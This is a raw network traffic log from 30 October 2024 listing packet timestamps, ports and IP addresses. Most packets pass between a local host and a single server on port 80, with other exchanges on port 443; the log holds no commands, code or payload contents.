Oct 30, 2024 11:45:43.547761917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.559585094 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.559628010 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.559690952 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.559899092 CET	49982	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.559910059 CET	443	49982	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.574911118 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.575582027 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.575623989 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.576070070 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.576078892 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.586807966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586857080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586874008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586899042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586909056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.586915970 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586934090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.586945057 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.586958885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.586996078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.587017059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.587032080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.587069035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.593208075 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.593276024 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.593333006 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.593764067 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.593782902 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.593796015 CET	49974	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.593801975 CET	443	49974	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.596401930 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.596437931 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.596693039 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.596828938 CET	49983	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.596834898 CET	443	49983	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.660341024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660371065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660397053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660413027 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660429001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660433054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660454988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660461903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660475969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660479069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660496950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660502911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660520077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660523891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660537958 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660541058 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660554886 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660561085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660576105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660583019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660593987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660602093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660618067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660624981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660638094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660654068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660662889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660671949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660676003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660687923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660701990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660707951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660715103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660726070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660732031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660742998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660748959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660759926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660763025 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660778999 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660778999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660795927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660797119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660815001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660831928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660834074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660875082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660924911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660943031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660960913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.660981894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.660995960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661036015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661106110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661123037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661132097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661140919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661181927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661184072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661210060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661210060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661230087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661233902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661247015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661252975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661264896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661267042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661284924 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661309004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661402941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661459923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661629915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661701918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661878109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661895037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661911011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661936998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661953926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661958933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661958933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661967993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661976099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.661986113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.661993980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662005901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662010908 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662023067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662029982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662040949 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662045002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662056923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662062883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662081003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662100077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662106991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662125111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662127018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662142038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662149906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662162066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662173986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662182093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662199974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662211895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662237883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662255049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662276030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662280083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662297964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662302017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662314892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662323952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662337065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662355900 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662411928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662451982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662456989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662473917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662492037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662511110 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662533045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662550926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662568092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662586927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662587881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662604094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.662616014 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.662641048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.678416967 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.678905010 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.678935051 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.679411888 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.679419041 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.679903984 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.680052042 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.680104971 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.680116892 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.680171013 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.680222034 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.680321932 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.680331945 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.680341959 CET	49975	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.680346012 CET	443	49975	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.685559988 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.685587883 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.685693979 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.685911894 CET	49984	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.685925007 CET	443	49984	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.719712019 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.719856024 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.720001936 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.727385044 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.727422953 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.727438927 CET	49976	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.727447033 CET	443	49976	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.775962114 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.776024103 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.776084900 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.778027058 CET	49985	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.778049946 CET	443	49985	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.781202078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:43.786705017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:43.818401098 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.818432093 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.818476915 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.818500996 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.818542004 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.818694115 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.818708897 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.818754911 CET	49977	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.818762064 CET	443	49977	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.821821928 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.821844101 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.821923971 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.824126959 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:43.824145079 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:43.824234962 CET	49986	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:43.824249983 CET	443	49986	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:43.824268103 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:43.824440956 CET	49987	443	192.168.2.6	20.125.209.212
Oct 30, 2024 11:45:43.824448109 CET	443	49987	20.125.209.212	192.168.2.6
Oct 30, 2024 11:45:43.837094069 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.837290049 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.837301970 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.838428020 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.838485956 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.838800907 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.838886976 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.838941097 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.838949919 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.838977098 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:43.839018106 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:43.890165091 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.011596918 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.012196064 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.012245893 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.012396097 CET	443	49979	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.012424946 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.012440920 CET	49979	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.060440063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060457945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060473919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060497046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060498953 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060528994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060564995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060576916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060622931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060637951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060659885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060677052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060694933 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060709953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060726881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060745001 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060754061 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060758114 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060772896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060800076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060806036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060822010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060856104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060864925 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060908079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.060924053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060956955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060971975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.060998917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061017990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061085939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061103106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061117887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061135054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061142921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061151028 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061166048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061167955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061194897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061216116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061218023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061232090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061249018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061264038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061264038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061294079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061297894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061331987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061342955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061357021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061383963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061398983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061414957 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061430931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061450005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061466932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061474085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061497927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061513901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061522007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061532974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061542988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061558008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061580896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061597109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061604977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061604977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061611891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.061639071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.061666012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.137489080 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.137974977 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.137981892 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.139456034 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.139533043 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.140117884 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.140194893 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.140396118 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.140400887 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.140542984 CET	49981	443	192.168.2.6	20.189.173.28
Oct 30, 2024 11:45:44.140585899 CET	443	49981	20.189.173.28	192.168.2.6
Oct 30, 2024 11:45:44.177314997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177331924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177349091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177365065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177381039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177390099 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177397966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177416086 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177428961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177443027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177447081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177470922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177472115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177488089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177490950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177505016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177505970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177520990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177527905 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177540064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177546978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177561998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:44.177563906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:44.177577019 CET	49888	80	192.168.2.6	185.215.113.206
